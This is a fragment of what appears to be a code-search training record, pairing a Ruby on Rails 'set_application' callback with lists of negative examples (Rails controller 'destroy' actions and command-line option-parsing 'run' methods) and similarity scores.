"def destroy\n @application = Application.find(params[:id])\n @application.destroy\n\n respond_with @application\n end",
"def destroy\n @app.destroy\n\n head :no_content\n end",
"def destroy\n authorize! :destroy, @app\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n return unless appAccess?(@application.job.id)\n id = @application.job.id\n @application.destroy\n\n respond_to do |format|\n format.html { redirect_to show_apps_path(:id=>id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_config = AppConfig.find(params[:id])\n @app_config.destroy\n\n respond_to do |format|\n format.html { redirect_to app_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_list.app_resouces.destroy\n @app_list.destroy\n respond_to do |format|\n format.html { redirect_to app_lists_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mobileapp = Mobileapp.find(params[:id])\n @mobileapp.destroy\n \n respond_to do |format|\n format.html { redirect_to mobileapps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to settings_admin_oread_applications_path, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_app.destroy\n respond_to do |format|\n format.html { redirect_to admin_apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_app.destroy\n respond_to do |format|\n format.html { redirect_to test_apps_url, notice: 'Test app was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_app.destroy\n respond_to do |format|\n format.html { redirect_to test_apps_url, notice: \"Test app was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html {redirect_to applications_url, notice: 'Application was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n @userapp = Userapp.find(params[:id])\n @userapp.destroy\n\n respond_to do |format|\n format.html { redirect_to(userapps_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @wine_app.destroy\n respond_to do |format|\n format.html { redirect_to wine_apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application = Application.find(params[:id])\n User.allow_to_all(@application.id) # перед удалением снимаем все запреты для данного приложения.\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Приложение удалено.' }\n format.json { head :ok }\n end\n end",
"def destroy\n @applist.destroy\n respond_to do |format|\n format.html { redirect_to applists_url, notice: 'Applist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @registered_app.destroy\n respond_to do |format|\n format.html { redirect_to registered_apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy \n Services::OpenIdConnectionService.new(@app).destroy \n\n @app.destroy\n respond_to do |format|\n format.html { redirect_to apps_url, notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mobile_app.destroy\n respond_to do |format|\n format.html { redirect_to mobile_apps_url, notice: 'Mobile app was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_instance.destroy\n respond_to do |format|\n format.html { redirect_to app_instances_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dev = @app.developers.first.id\n @app.destroy\n respond_to do |format|\n format.html { redirect_to developer_path(@dev), notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app.destroy\n redirect_to apps_url, notice: 'app was successfully deleted.'\n end",
"def admin_delete_app\n\n # Get Current App\n app = MailfunnelsUtil.get_app\n\n # If the User is not an admin redirect to error page\n if !app.is_admin or app.is_admin === 0\n response = {\n success: false\n }\n\n render json: response and return\n end\n\n # Get App to be deleted\n del_app = App.find(params[:app_id])\n\n unless del_app\n response = {\n success: false\n }\n\n render json: response and return\n end\n\n\n # Delete App\n del_app.destroy\n\n\n response = {\n success: true\n }\n\n render json: response and return\n\n\n end",
"def destroy\n @parent_app.destroy\n respond_to do |format|\n format.html { redirect_to parent_apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @papp = Rapns::Apns::App.find(params[:id])\n @papp.destroy\n\n respond_to do |format|\n format.html { redirect_to apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mapp.destroy\n respond_to do |format|\n format.html { redirect_to mapps_url, notice: 'Mapp was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n response = Network.delete(['Applications', id])\n Application.new(response)\n end",
"def destroy\n @web_app = WebApp.find(params[:id])\n @web_app.destroy\n\n respond_to do |format|\n format.html { redirect_to web_apps_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @phone_app.destroy\n respond_to do |format|\n format.html { redirect_to phone_apps_url, notice: 'Phone app was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_appdata\n @restv9.delete_appdata(person_id, appId, field)\n end",
"def destroy\n @visa_application.destroy\n respond_to do |format|\n format.html { redirect_to visa_applications_url, notice: 'Visa application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_application.destroy\n respond_to do |format|\n format.html { redirect_to user_applications_url, notice: 'User application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to applications_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_request.destroy\n respond_to do |format|\n format.html { redirect_to app_requests_url, notice: 'App request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cotiz_app.destroy\n respond_to do |format|\n format.html { redirect_to cotiz_apps_url, notice: 'Cotiz app was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @maapp.destroy\n respond_to do |format|\n format.html { redirect_to maapps_url, notice: 'Maapp was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application_status = ApplicationStatus.find(params[:id])\n @application_status.destroy\n\n respond_to do |format|\n format.html { redirect_to application_statuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @credit_application.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @herga_application.destroy\n respond_to do |format|\n format.html { redirect_to herga_applications_url, notice: 'Herga application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @applicationclient.destroy\n respond_to do |format|\n format.html { redirect_to applicationclients_url, notice: 'Applicationclient was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @student_application = StudentApplication.find(params[:id])\n @student_application.destroy\n\n respond_to do |format|\n format.html { redirect_to student_applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @userapplication = Userapplication.find(params[:id])\n @userapplication.destroy\n respond_to do |format|\n format.html { redirect_to users_path(:id), info: 'Aplicación usuario a sido destruida correctamente.'}\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_account_app = User.find(params[:id])\n @user_account_app.destroy\n\n respond_to do |format|\n format.html { redirect_to user_account_apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @alapp.destroy\n respond_to do |format|\n format.html { redirect_to alapps_url, notice: 'Alapp was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n application.destroy\n respond_with application\n end",
"def destroy\n ELASTIC_SEARCH_CLIENT.delete index: 'mobile_apps', type: 'mobile_app', id: @mobile_app.id\n @mobile_app.destroy!\n respond_to do |format|\n format.html { redirect_to admin_mobile_apps_url, notice: 'Mobile Product was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @appdatum.destroy\n respond_to do |format|\n format.html { redirect_to appdata_url, notice: 'Appdatum was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n format.html { redirect_to action: :index, notice: 'Personal info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_config = AppConfig.find(params[:id])\n @app_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(app_configs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @application.destroy\n respond_to do |format|\n if admin_signed_in?\n format.html { redirect_to show_applications_path, notice: \"Application was successfully destroyed.\" }\n else\n format.html { redirect_to applicants_path, notice: \"Application was successfully destroyed.\" }\n end\n format.json { head :no_content }\n end\n end",
"def destroy\n @appdatainfo.destroy\n respond_to do |format|\n format.html { redirect_to appdatainfos_url, notice: 'Appdatainfo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove\n get_credentials\n begin\n response = resource[\"/remove/#{app}\"].post(:apikey => @credentials[1])\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end",
"def destroy\n @residential_application.destroy\n respond_to do |format|\n format.html { redirect_to residential_applications_url, notice: 'Residential application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @task_application.destroy\n respond_to do |format|\n format.html { redirect_to task_applications_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_config.destroy\n respond_to do |format|\n format.html { redirect_to app_configs_url, notice: 'App config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @second_rails_app = SecondRailsApp.find(params[:id])\n @second_rails_app.destroy\n\n respond_to do |format|\n format.html { redirect_to second_rails_apps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @visaapp = Visaapp.find(params[:id])\n @visaapp.destroy\n\n respond_to do |format|\n format.html { redirect_to(visaapps_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end"
] |
[
"0.7910182",
"0.75623596",
"0.7552732",
"0.7552732",
"0.7552732",
"0.75480956",
"0.75480956",
"0.7524208",
"0.7524208",
"0.7420919",
"0.7420919",
"0.74039817",
"0.7369016",
"0.7369016",
"0.7369016",
"0.7363147",
"0.7355945",
"0.7339149",
"0.73071563",
"0.73071563",
"0.73071563",
"0.73071563",
"0.72990555",
"0.72831565",
"0.7261852",
"0.7230797",
"0.7217374",
"0.7217374",
"0.7217374",
"0.7205214",
"0.7195028",
"0.7195028",
"0.71830386",
"0.7175916",
"0.71655166",
"0.7140893",
"0.71364737",
"0.7111825",
"0.7090251",
"0.70732456",
"0.706948",
"0.706782",
"0.7059479",
"0.7043071",
"0.7028777",
"0.70278406",
"0.70112777",
"0.7006213",
"0.69851816",
"0.69578135",
"0.69565785",
"0.695355",
"0.69520485",
"0.6942718",
"0.6941199",
"0.69377244",
"0.69333357",
"0.6927491",
"0.6916002",
"0.69149",
"0.6896137",
"0.6873878",
"0.6867883",
"0.6865323",
"0.686225",
"0.68599755",
"0.68300295",
"0.6828158",
"0.6818498",
"0.68022573",
"0.6789036",
"0.678527",
"0.67764014",
"0.67757237",
"0.6773267",
"0.67703897",
"0.6747071",
"0.6745073",
"0.67410135",
"0.6737703",
"0.67376715",
"0.67370963",
"0.6736681",
"0.6734899",
"0.6734108",
"0.67305577",
"0.6730216",
"0.6727591",
"0.6725397",
"0.671834",
"0.67138135",
"0.67066973",
"0.6702954"
] |
0.7065258
|
48
|
Use callbacks to share common setup or constraints between actions.
|
def set_application
@application = Application.find(params[:id])
@job = Job.find_by(id: @application.job_id)
@jobseeker = Jobseeker.find_by(id: @application.jobseeker_id)
@age = Date.today.year - @jobseeker.dob.year
@applicant = User.find_by(id: @jobseeker.user_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def set_actions\n actions :all\n end",
"def define_action_helpers?; end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def before_action \n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def after_set_callback; end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def duas1(action)\n action.call\n action.call\nend",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def call\n setup_context\n super\n end"
] |
[
"0.61642385",
"0.60448",
"0.5945487",
"0.5915654",
"0.58890367",
"0.58330417",
"0.5776098",
"0.5703048",
"0.5703048",
"0.5654613",
"0.5620029",
"0.5423114",
"0.540998",
"0.540998",
"0.540998",
"0.5393666",
"0.53783023",
"0.53568405",
"0.53391176",
"0.5339061",
"0.53310865",
"0.5312988",
"0.529798",
"0.52968603",
"0.52962637",
"0.52577317",
"0.5244704",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5233461",
"0.52322435",
"0.5227552",
"0.52224743",
"0.5217851",
"0.521241",
"0.52069896",
"0.5206555",
"0.5176617",
"0.51738507",
"0.51725876",
"0.51660734",
"0.51605034",
"0.51571786",
"0.5152762",
"0.5152164",
"0.5151477",
"0.5145819",
"0.51408994",
"0.5134412",
"0.5114031",
"0.5113695",
"0.5113695",
"0.5108603",
"0.5107358",
"0.5090405",
"0.50889385",
"0.50817686",
"0.5081617",
"0.50658226",
"0.50551206",
"0.5051746",
"0.5049091",
"0.5049091",
"0.5034681",
"0.5024972",
"0.5021291",
"0.5016024",
"0.50134826",
"0.50008893",
"0.50000244",
"0.4999155",
"0.49907947",
"0.49907947",
"0.49853387",
"0.49796683",
"0.4979596",
"0.49778128",
"0.49673793",
"0.49662578",
"0.49587822",
"0.4956063",
"0.49550167",
"0.49523485",
"0.4951614",
"0.49452996",
"0.49442068",
"0.49336892",
"0.49306205",
"0.49264124",
"0.49259305",
"0.4925823",
"0.49229056",
"0.4918999",
"0.49171805",
"0.49167436",
"0.4916559",
"0.49153692",
"0.49148256"
] |
0.0
|
-1
|
Parses the commandline arguments and runs the executable. Calls `Kernelexit` at the end, so it never returns.
|
def parse!
begin
parse
rescue Exception => e
raise e if @options[:trace] || e.is_a?(SystemExit)
$stderr.print "#{e.class}: " unless e.class == RuntimeError
$stderr.puts "#{e.message}"
exit 1
end
exit 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run\n begin\n raise TooManyArgumentsError.new(@arguments) if @arguments.length > 1\n \n print_version if @options.version?\n scan if @options.scan?\n rename_given_file unless @arguments.empty?\n run_gui if @arguments.empty?\n \n raise Error\n rescue => e\n puts e.to_s\n \n exit(1)\n end\n end",
"def run\n if arguments = parse_arguments\n begin\n process(arguments)\n rescue RuntimeError => ex\n Console.puts ex.message, :red\n exit 1\n end\n else\n if show_help?\n show_help(nil, Console.width).each do |line|\n Console.puts line, :cyan\n end\n else\n show_usage(nil, Console.width).each do |line|\n Console.puts line, :yellow\n end\n end\n exit 2\n end\n end",
"def run\n standard_exception_handling do\n handle_env(ENV)\n handle_options(ARGV)\n config.cmdline = CmdlineBuilder.new(config, Dir.pwd, $0, ENV)\n @output_stream.puts config.output\n end\n end",
"def run(argv)\n options = parse(argv)\n invoke!(options.to_h)\n end",
"def run\n code = 0\n opt = OptionParser.new\n define_options(opt)\n default_options(opt)\n define_exit_codes(opt)\n argv = opt.parse!\n\n if @help\n puts_msg(opt.help)\n\n else\n begin\n main(argv)\n rescue Exception => e\n arr = @@exit_code_map[e.class]\n code = arr ? arr[0] : 1\n puts_err e.to_s\n puts_err \"[ERROR]\"\n end\n end\n\n exit(code)\n end",
"def run\n testable = Parser.new(@argv).parse\n Executor.new(testable).execute\n end",
"def command_line\r\n ARGV.each do |arg|\r\n if arg == \"instructions\"\r\n instructions\r\n elsif arg == \"calculator\"\r\n ask_for_digits\r\n else\r\n \r\n end\r\n end\r\n \r\n end",
"def run\n\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n\n end",
"def _run(argv = [])\n execute(parse_options(argv))\n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n if process_arguments == false\n return\n end\n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n output_options if @options.verbose\n process_arguments \n start\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end \n end",
"def run\n unless parsed_options? && arguments_valid? \n output_usage and return\n end\n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n end",
"def run\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n end",
"def run\n\t\tif parsed_options? && arguments_valid?\n\t\t\toutput_options if @options[:verbose]\n\t\t\toutput_arguments if @options[:verbose]\n\t\t\tprocess_arguments\n\t\t\tprocess_command\n\t\telse\n\t\t\toutput_usage\n\t\tend\n\tend",
"def run\n if parsed_options? && arguments_valid?\n log \"Start at #{DateTime.now}\\n\"\n output_options\n\n process_arguments\n process_command\n log \"Finished at #{DateTime.now}\"\n else\n output_usage\n end\n end",
"def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n\n process_arguments \n process_command\n\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n\n else\n output_usage\n end\n end",
"def run(argv = ARGV)\n parser.parse(argv)\n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\\n\\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n os \n process_command\n \n puts \"\\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
"def run\n setup_options\n\n if parse_options?\n\n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n\n show_effective_options if @options.verbose\n\n # do_work(WordAnalyzer)\n\n # example alternate analyzer implementation\n do_work(AdaptiveWordAnalyzer)\n\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n\n 0 # happy shell exit code\n else\n show_help\n end\n end",
"def run(argv = ARGV)\n #p [:argv, argv]\n begin\n # cheating\n if argv.include?('-h') or argv.include?('--help')\n puts help_text\n else\n app = from_argv(argv)\n app.run\n end\n rescue Exception => e\n if exit_status == 0\n exit_status 1\n end\n puts \"\\nERROR: #{e}\"\n ensure\n exit(exit_status)\n end\n end",
"def run\n\n\t\tif parsed_options? && arguments_valid?\n\n\t\t puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n\n\t\t output_options if @options.verbose # [Optional]\n\n\t\t process_arguments\n\t\t process_command\n\n\t\t puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n\n\t\telse\n\t\t output_usage\n\t\tend\n\n\tend",
"def run\n\n if parsed_options? && arguments_valid? \n\n puts \"Start at #{Time.new.to_s}\\n\\n\" if @options.verbose\n\n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n\n puts \"\\nFinished at #{Time.new.to_s}\" if @options.verbose\n\n else\n output_usage\n end\n\n end",
"def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\\\n\\\\n\" if @options.verbose\n\n process_arguments \n process_command\n \n puts \"\\\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end",
